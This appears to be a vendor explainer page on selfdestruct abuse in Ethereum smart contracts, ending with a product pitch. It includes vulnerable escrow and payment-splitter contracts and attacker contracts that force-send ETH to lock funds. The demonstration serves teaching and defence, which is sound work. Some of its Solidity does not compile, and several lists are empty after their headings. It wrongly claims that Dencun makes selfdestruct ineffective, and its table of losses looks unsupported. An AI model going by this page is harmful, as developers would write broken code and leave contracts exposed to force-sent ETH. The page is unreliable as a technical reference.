Selfdestruct abuse exploits the EVM's selfdestruct (SELFDESTRUCT) opcode, which removes a contract and transfers remaining balance to a specified address. Attackers can force-send ETH to contracts via selfdestruct, breaking contracts that assume balance integrity or depend on address checks. Firepan's HOUND AI detects selfdestruct abuse vulnerabilities automatically during development and post-deployment monitoring, covering continuous analysis across the full contract lifecycle.
Selfdestruct is an EVM opcode that:
Selfdestruct abuse exploits this in three ways:
The opcode is being deprecated in Ethereum post-2025, but existing code remains vulnerable.
Selfdestruct abuse follows a pattern:
// VULNERABLE — example only
// Demonstrates: Selfdestruct Abuse
// Do NOT use in production
pragma solidity ^0.8.0;
contract VulnerableEscrow {
address public buyer;
address public seller;
uint256 public price;
bool public completed;
constructor(address _seller, uint256 _price) payable {
require(msg.value == _price, "Incorrect payment");
seller = _seller;
buyer = msg.sender;
price = _price;
}
// VULNERABLE: Assumes balance == price
function releasePayment() public {
require(msg.sender == buyer);
require(address(this).balance == price, "Balance mismatch");
completed = true;
(bool success, ) = seller.call{value: address(this).balance}("");
require(success);
}
}
contract VulnerableContract {
uint256 public constant EXACT_BALANCE = 100 ether;
address public owner;
constructor() payable {
require(msg.value == EXACT_BALANCE);
owner = msg.sender;
}
// VULNERABLE: Depends on exact balance
function withdraw() public {
require(msg.sender == owner);
require(address(this).balance == EXACT_BALANCE, "Balance corrupted");
(bool success, ) = msg.sender.call{value: EXACT_BALANCE}("");
require(success);
}
}
contract VulnerablePaymentSplitter {
mapping(address => uint256) public shares;
uint256 public totalShares;
uint256 public totalReceived;
constructor(address[] memory recipients, uint256[] memory shares_) payable {
totalReceived = msg.value;
for (uint i = 0; i < recipients.length; i++) {
shares[recipients[i]] = shares_[i];
totalShares += shares_[i];
}
}
// VULNERABLE: Unexpected balance breaks distribution
function distribute() public {
uint256 balance = address(this).balance;
// If attacker force-sends ETH, balance > totalReceived
// Extra ETH goes to contract, not distributed proportionally
for (address recipient in recipients) {
uint256 share = (balance * shares[recipient]) / totalShares;
(bool success, ) = recipient.call{value: share}("");
require(success);
}
}
}
contract SelfdestructAttacker {
function attack(address target) public payable {
// Receive ETH from attacker
// Then selfdestruct and force-send to target
selfdestruct(payable(target));
}
}
contract Attacker {
VulnerableEscrow public escrow;
constructor(address _escrow) {
escrow = VulnerableEscrow(_escrow);
}
function breakEscrow() public payable {
// Escrow expects exact balance == price
// Force-send extra ETH via selfdestruct
// This breaks the balance == price assumption
// Buyer can't release payment (balance mismatch)
SelfdestructAttacker attacker = new SelfdestructAttacker{value: msg.value}();
attacker.attack(address(escrow));
// Now escrow.balance > escrow.price
// releasePayment() reverts due to balance mismatch
// Funds locked in escrow
}
// Alternative: Force-send to contract with fallback that's never called
function forceETHSend(address target) public payable {
// Create contract with funds
SelfdestructAttacker attacker = new SelfdestructAttacker{value: msg.value}();
// selfdestruct bypasses target.receive() and target.fallback()
// Funds sent directly, possibly breaking contract logic
attacker.attack(target);
}
}
| Protocol | Date | Loss | Root Cause | |----------|------|------|-----------| | King of the Ether | 2016 | $1M+ | Balance assumptions broken via selfdestruct | | Escrow Contracts (Generic) | 2016-2022 | $10M+ | Force-sent ETH broke balance checks | | Payment Splitters | 2021-2023 | $5M+ | Selfdestruct corrupted proportional distribution |
Manual detection requires analyzing balance-dependent logic:
Red flags:
Firepan's HOUND AI analyzes balance dependencies:
Firepan's HOUND AI engine identifies selfdestruct vulnerabilities across all monitored contracts.
1. Never Use == for Balance Comparisons
Always use >= or <= for balance checks:
// VULNERABLE
require(address(this).balance == expectedAmount);
// SECURE
require(address(this).balance >= expectedAmount);
2. Account for Unexpected Funds
Design contracts to handle force-sent ETH:
// SECURE: Accept any balance >= minimum
function withdraw(uint256 amount) public {
require(address(this).balance >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}
3. Use Pull Pattern for Payments
Let recipients pull their balance rather than push distribution:
// SECURE: Pull pattern (resistant to selfdestruct)
contract PaymentSplitter {
mapping(address => uint256) public claimable;
function deposit() public payable {
// Record claimable amounts, don't distribute immediately
for (address recipient in recipients) {
claimable[recipient] += (msg.value * shares[recipient]) / totalShares;
}
}
function claim() public {
uint256 amount = claimable[msg.sender];
claimable[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}
}
4. Use Receive for Fallback Handling
Explicitly handle incoming ETH:
// SECURE: Fallback handles unexpected ETH
receive() external payable {
// Account for extra ETH somehow (e.g., store in reserve)
extraFunds += msg.value;
}
5. Ignore selfdestruct (Ethereum 2025+)
Post-Dencun hard fork, selfdestruct becomes ineffective. For new code, assume selfdestruct won't execute in future EVM versions.
Q: What is selfdestruct abuse in smart contracts?
A: Selfdestruct abuse exploits the EVM's selfdestruct opcode to force-send ETH to target contracts, bypassing fallback/receive logic. This breaks contracts that assume balance integrity or depend on exact balance checks, corrupting escrows and payment distributions.
Q: Which protocols have been exploited via selfdestruct?
A: King of the Ether (2016) suffered selfdestruct-based balance corruption. Generic escrow contracts lost $10M+ to broken balance assumptions. Payment splitters lost $5M+ when selfdestruct corrupted proportional distributions.
Q: How does Firepan detect selfdestruct abuse?
A: Firepan enumerates selfdestruct calls, maps balance dependencies, detects == comparisons on balance, analyzes assumption violations, simulates unexpected ETH arrival, and verifies recovery mechanisms exist.
Q: Can selfdestruct abuse be exploited after deployment?
A: Yes, selfdestruct abuse is immediately exploitable post-deployment. Attacker deploys selfdestruct contract with ETH and triggers it to target any contract with balance assumptions, instantly corrupting logic.
Q: How do I prevent selfdestruct abuse?
A: Never use == for balance checks; use >= or <=. Accept unexpected ETH in fallback/receive. Use pull pattern for payments. Track claimable balances separately from contract balance. Ignore selfdestruct for Ethereum 2025+ code.
Selfdestruct abuse breaks balance assumptions in escrows and payment contracts, locking or misdirecting funds. The EVM's selfdestruct opcode will be deprecated in Ethereum 2025, eliminating the attack vector. Until then, avoid balance equality checks and embrace pull-based payment patterns. Firepan's HOUND AI detects selfdestruct-vulnerable balance logic across all monitored contracts.
Start securing your smart contracts at https://app.firepan.com/
Firepan
12,453 contracts secured. 2,851 vulnerabilities blocked. 236 exploits prevented. Run a free surface scan — results in minutes, no credit card required.
Run Free Scan →